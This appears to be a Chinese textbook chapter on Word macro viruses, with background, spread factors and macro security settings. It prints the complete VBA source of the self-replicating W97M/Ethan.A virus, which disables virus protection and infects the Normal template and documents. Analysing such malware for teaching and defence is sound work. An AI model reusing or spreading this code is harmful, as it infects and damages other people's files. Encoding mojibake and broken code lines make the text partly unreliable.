宏是Word 里一個(gè)非常有用的工具,但也是Word 的安全漏洞之一。 有一些惡意的人利用宏制造宏病毒,給別人帶來(lái)麻煩。宏病毒是一 種寄存在文檔或模板的宏中的計(jì)算機(jī)病毒。一旦打開(kāi)這樣的文檔, 宏病毒就會(huì)被激活,轉(zhuǎn)移到計(jì)算機(jī)上,并駐留在 Normal 模板上。 從此以后,所有自動(dòng)保存的文檔都會(huì)“感染”上這種宏病毒,而且 如果其他用戶(hù)打開(kāi)了感染病毒的文檔,宏病毒又會(huì)轉(zhuǎn)移到他的計(jì)算 機(jī)上。
13.1 宏病毒
宏病毒已經(jīng)成為發(fā)展最快和傳播最迅速的病毒。美國(guó)國(guó)際計(jì)算機(jī) 安全協(xié)會(huì)ICSA 的《ICSA 1998 病毒流行調(diào)查報(bào)告》表明宏病毒獨(dú)占 1998 年十大病毒感染事件的72%,在十大病毒中占了五席交椅: WM/Concept、WM/Cap、WM/Wazzu、WM/Npad 和XM/Laroux。根據(jù) DataFellow 公司每天特征碼升級(jí)的F-Macro 所檢測(cè)到的宏病毒數(shù) 目,至1998 年12 月達(dá)到了3,332 個(gè),而在1997 年12 月才是1,821 個(gè),增長(zhǎng)率為83.0%。而且F-Macro 并不能檢測(cè)到所有宏病毒。在1998 年12 月出現(xiàn)了Word Class Object 的宏病毒,是由VicodinES 編寫(xiě)的。
13.1.1 宏病毒
許多應(yīng)用程序都允許在用戶(hù)的數(shù)據(jù)庫(kù)中包含一些宏,隨著應(yīng)用軟 件的進(jìn)步,宏語(yǔ)言的功能也越來(lái)越強(qiáng)大,其中微軟的Word Visual Basic for Application(VBA)已經(jīng)成為應(yīng)用軟件宏語(yǔ)言的標(biāo)準(zhǔn)。 利用宏語(yǔ)言,可以實(shí)現(xiàn)幾乎所有的操作,還可以實(shí)現(xiàn)一些應(yīng)用軟件 原來(lái)沒(méi)有的功能。每個(gè)模板或數(shù)據(jù)文件中,都可以包含宏命令。
有不少應(yīng)用軟件允許用戶(hù)利用宏修改軟件菜單的功能,并可以將 某一個(gè)宏加入到菜單中或設(shè)置成自動(dòng)運(yùn)行的命令。利用這個(gè)功能, 宏就可以修改軟件本身的功能,從而將軟件本身修改為病毒傳播的 源泉。
宏病毒就是利用Word VBA 進(jìn)行編寫(xiě)的一些宏,這些宏可以自動(dòng) 運(yùn)行,干擾用戶(hù)工作,輕則降低工作效率,重則破壞文件,使用戶(hù) 遭受巨大損失。
一旦打開(kāi)含有宏病毒的文檔,其中的宏就會(huì)被執(zhí)行,于是宏病毒 就會(huì)被激活,轉(zhuǎn)移到計(jì)算機(jī)上,并駐留在Normal 模板上。從此以后, 所有自動(dòng)保存的文檔都會(huì)“感染”上這種宏病毒,而且如果其他用戶(hù)打開(kāi)了感染病毒的文檔,宏病毒又會(huì)轉(zhuǎn)移到他的計(jì)算機(jī)上。
宏病毒成為傳播最快的病毒,其原因有三個(gè):第一,現(xiàn)在用戶(hù)幾 乎對(duì)可執(zhí)行文件病毒和引導(dǎo)區(qū)病毒已經(jīng)有了比較一致的認(rèn)識(shí),對(duì)這 些病毒的防治都有一定的經(jīng)驗(yàn),許多公司、企業(yè)對(duì)可執(zhí)行文件和磁 盤(pán)的交換都有嚴(yán)格的規(guī)定。但對(duì)宏病毒的危害還沒(méi)有足夠的認(rèn)識(shí), 而現(xiàn)在主要的工作就是交換數(shù)字文件,因此使宏病毒得到迅速傳播。 第二,現(xiàn)在的查病毒、防病毒軟件主要是針對(duì)可執(zhí)行文件和磁盤(pán)引 導(dǎo)區(qū)設(shè)計(jì)的,一般都假定數(shù)據(jù)文件中不會(huì)存在病毒,而人們相信查 病毒軟件的結(jié)論,從而使隱藏在數(shù)據(jù)文件中的病毒成為漏網(wǎng)之魚(yú)。 第三,CD-ROM 和Interenet 使病毒的傳播速度大大加快
如果某個(gè)文檔中包含了宏病毒,我們稱(chēng)此文檔感染了宏病毒;如 果Word 系統(tǒng)中的模板包含了宏病毒,我們稱(chēng)Word 系統(tǒng)感染了宏病 毒。
Word 2000 無(wú)法掃描軟盤(pán)、硬盤(pán)或網(wǎng)絡(luò)驅(qū)動(dòng)器上的宏病毒(要得 到這種保護(hù),需要購(gòu)買(mǎi)和安裝專(zhuān)門(mén)的防病毒軟件)。但當(dāng)打開(kāi)一個(gè) 含有可能攜帶病毒的宏的文檔時(shí),它能夠顯示宏警告信息。這樣就 可選擇打開(kāi)文檔時(shí)是否要包含宏,如果希望文檔包含要用到的宏(例 如,單位所用的定貨窗體),打開(kāi)文檔時(shí)就包含宏。如果您并不希望在文檔中包含宏,或者不了解文檔的確切來(lái)源。例如,文檔是作 為電子郵件的附件收到的,或是來(lái)自網(wǎng)絡(luò)或不安全的Internet 節(jié)點(diǎn)。 在這種情況下,為了防止可能發(fā)生的病毒傳染,打開(kāi)文檔過(guò)程中出 現(xiàn)宏警告提示時(shí)最好選擇【取消宏】。
Word 軟件包安裝后,系統(tǒng)中包含有關(guān)于宏病毒防護(hù)的選項(xiàng),其默 認(rèn)狀態(tài)是允許【宏病毒保護(hù)】復(fù)選框。如果愿意,可以終止系統(tǒng)對(duì) 文檔宏病毒的檢查。當(dāng)Word 顯示宏病毒警告信息時(shí),清除【在打開(kāi) 帶有宏或自定義內(nèi)容的文檔時(shí)提問(wèn)】復(fù)選框;蛘哧P(guān)閉宏檢查:?jiǎn)?擊【工具】菜單中的【宏】命令,再?gòu)募?jí)聯(lián)菜單中選擇【安全性】 命令,出現(xiàn)【安全性】對(duì)話(huà)框,選擇【安全級(jí)】選項(xiàng)卡,將安全級(jí) 別設(shè)為【無(wú)】。不過(guò)一般建議用戶(hù)不要取消宏病毒防護(hù)功能,否則 會(huì)失去這道防護(hù)宏病毒的天然屏障。
13.1.2 宏病毒示例
為了更好地理解宏病毒, 我們仔細(xì)分析一下宏病毒 W97M/Ethan.A。
下面是該病毒的代碼。
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection
= 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item
(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item
(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item
( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub
Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item
( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub
Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs
( wdDialogFileSummaryInfo ) : .Title = "Ethan
Frome": .Author = "EW/LN/CB": .Keywords =
"Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
ActiveDocument.SaveAs
FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved
= s
End Sub
W97M/Ethan.A 是一種寄生型宏病毒,由一個(gè)宏組成,能夠感染 Word 系統(tǒng)中的文檔和模板。在感染過(guò)程中,W97M/Ethan.A 使用一種 特殊的算法,從自己的源文件向宿主文件傳送病毒代碼,在源文件 中存放的是以VBA 代碼形式存放的病毒程序。一旦感染成功,W97M/Ethan.A 會(huì)刪除自身的有關(guān)文件,隱藏蹤跡,并將感染所有訪(fǎng) 問(wèn)過(guò)的Word 文件
在被感染的Word 文件中,大概有三成幾率的文件屬性會(huì)被病毒 更改,其標(biāo)題會(huì)被改為“Ethan Frome”,而作者會(huì)被改為“EW/LN/CB”。 如果發(fā)現(xiàn)上述特征,則說(shuō)明此文檔已被W97M/Ethan.A 宏病毒感染。
對(duì)已感染的文檔進(jìn)行操作,可能會(huì)出現(xiàn)以下問(wèn)題:
(1)在存儲(chǔ)文檔時(shí),無(wú)法以Word 文檔格式存儲(chǔ),而只能存儲(chǔ)為 Word 模板格式。
(2)在打開(kāi)文檔時(shí),Word 系統(tǒng)會(huì)向用戶(hù)詢(xún)問(wèn)文檔的開(kāi)啟密碼, 否則無(wú)法訪(fǎng)問(wèn)該文件。
(3)在清除了宏病毒之后,仍然看不到Word 系統(tǒng)中的某些命令 或選項(xiàng),它們可能已被宏病毒刪除。